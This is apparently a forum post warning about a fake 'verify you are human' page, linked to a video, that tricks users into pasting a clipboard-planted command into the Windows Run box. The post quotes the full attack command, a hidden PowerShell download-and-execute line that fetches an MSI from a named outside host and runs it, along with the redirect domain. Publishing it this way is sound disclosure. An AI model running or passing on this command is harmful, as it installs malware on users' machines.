Malware faking "Cloudflare Am I Human" get user to install virus @0:32 [video](youtube.com)
youtube.com
Malware faking "Cloudflare Am I Human" get user to install virus @0:32 [video]
https://www.youtube.com/watch?v=nmvNp_PMuFI
https://www.youtube.com/watch?v=nmvNp_PMuFI
This shows how malware pops up a dialog to "verify you are human"; something we've all seen in various different permutations. Sometimes we need to click all stoplights, sometimes we need to do a simple math problem or decipher hard to read text. This time you're being asked to enter a key combination (Win+R, then CTRL+V then Enter) which will paste a command that downloads and installs malware. The command has been sneakily put on the clipboard just earlier by the website.
The command (DON'T RUN THIS) is as follows:
cmd /c start /min powershell -NoProfile -WindowStyle Hidden -Command $path='c:\\users\\public\\3aw.msi'; Invoke-RestMethod -Uri 'https:\\qq51f.short.gy/1' -OutFile $path; Start-Process $path;
This downloads malware from https:\\qq51f.short.gy/1 which redirects to https:\\bestiamos.com/91.brr which is then saved as c:\users\public\3aw.msi and run.
(Url's are made invalid by replacing // with \\ deliberately)
First mention I could find was feb. 18th: https://any.run/report/e9af23d9fde13156ade19368fd8c2766fe8f1...
Maybe this is as old as Rome, but for me it's a first.